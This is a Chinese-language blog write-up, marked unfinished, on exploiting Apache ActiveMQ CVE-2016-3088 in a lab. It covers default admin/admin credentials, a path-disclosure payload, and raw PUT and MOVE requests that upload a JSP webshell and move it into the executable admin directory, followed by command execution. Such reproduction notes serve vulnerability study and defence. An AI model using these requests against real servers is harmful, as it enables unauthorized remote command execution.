ActiveMQ漏洞(CVE-2016-3088)利用總結——未完

前言:

Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集羣、Spring Framework等。隨着中間件的啓動,會打開兩個端口,61616是工作端口,消息在這個端口進行傳遞;8161是Web管理頁面端口。

Jetty 是一個開源的 servlet 容器,它爲基於 Java 的 web 容器,例如 JSP 和 servlet 提供運行環境。ActiveMQ 5.0 及以後版本默認集成了jetty。在啓動後提供一個監控 ActiveMQ 的 Web 應用。

弱口令:

admin/admin

基本介紹:

ActiveMQ的web控制檯分三個應用,admin,api和fileserver,其中admin是管理員頁面,api是接口,fileserver是存儲文件的接口,admin和api都需要登錄後才能使用,fileserver無需登錄,fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計是爲了彌補消息隊列操作不能傳輸,存儲二進制文件的缺陷,在5.12.x~5.13.~版本中,默認關閉了fileserver這個應用(可以在conf/jetty.xml中開啓),在5.14.0版本後,徹底刪除了fileserver應用。

漏洞原理:
ActiveMQ中的fileserver服務允許用戶通過HTTP中的PUT方法上傳文件到指定目錄,構造PUT請求上傳webshell到fileserver目錄,然後通過MOVE方法將其移動到有執行權限的/admin目錄中

影響版本:
Apache ActiveMQ 5.x ~ 5.14.0

復現過程:

1、官網下載apache-activemq-5.7.0-bin.tar 下載地址:http://activemq.apache.org/download-archives.html
2、解壓
3、啓動,進入bin目錄下,運行activemq.bat
在這裏插入圖片描述
4、瀏覽器訪問http://192.168.1.225:8161/,如下圖可以看到成功搭建環境。
在這裏插入圖片描述5、訪問fileserver看是否存在漏洞,通過burp抓包,請求方式修改爲PUT,返回包返回204表示上傳成功。
在這裏插入圖片描述
6、在瀏覽器中訪問下當前文件,訪問http://192.168.1.225:8161/fileserver/test.jsp,直接顯示出來表示當前目錄中是不解析或者是不支持的。
在這裏插入圖片描述
7、利用該版本存在物理路徑泄露漏洞,爆一下絕對路徑。
在這裏插入圖片描述8、利用Move方法將webshell移入admin目錄下,如下圖所示成功把文件移入到admin目錄。
在這裏插入圖片描述5、利用該版本存在的未授權訪問漏洞,不用登錄,訪問http://192.168.1.225:8161/admin/test.jsp?cmd=ipconfig,下圖可以看到成功執行命令。
在這裏插入圖片描述

漏洞彙總:

1、Console存在默認端口和默認密碼/未授權訪問(默認密碼爲admin:admin)
ActiveMQ默認使用8161端口,使用nmap對目標服務器進行掃描:

[root@localhost src]# nmap -A  -p8161 192.168.197.25 \
Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST
Nmap scan report for 192.168.197.25
Host is up (0.00016s latency).
PORT     STATE SERVICE VERSION
8161/tcp open  http    Jetty httpd 7.6.7.v20120910
|_http-methods: No Allow or Public header in OPTIONS response (status code 401)
| http-auth: HTTP/1.1 401 Unauthorized
|
|_basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized

2、ActiveMQ物理路徑泄漏漏洞
ActiveMQ默認開啓PUT請求,當開啓PUT時,構造好Payload(即不存在的目錄),Response會返回相應的物理路徑信息:

請求包:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4

test
返回包:
HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory)
Content-Length: 0
Server: Jetty(7.6.7.v20120910)

3、ActiveMQ PUT任意文件上傳漏洞
ActiveMQ默認開啓PUT方法,當fileserver存在時我們可以上傳jspwebshell。

請求包:
PUT /fileserver/shell.jsp HTTP/1.1
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 26

this is jsp webshell code.
返回包:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)

一般構造返回204響應碼即爲成功。

4、ActiveMQ任意文件文件移動漏洞
ActiveMQ除了支持PUT協議之外,還支持MOVE協議。

Request Raw:
MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 17

Content-Length: 0
Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章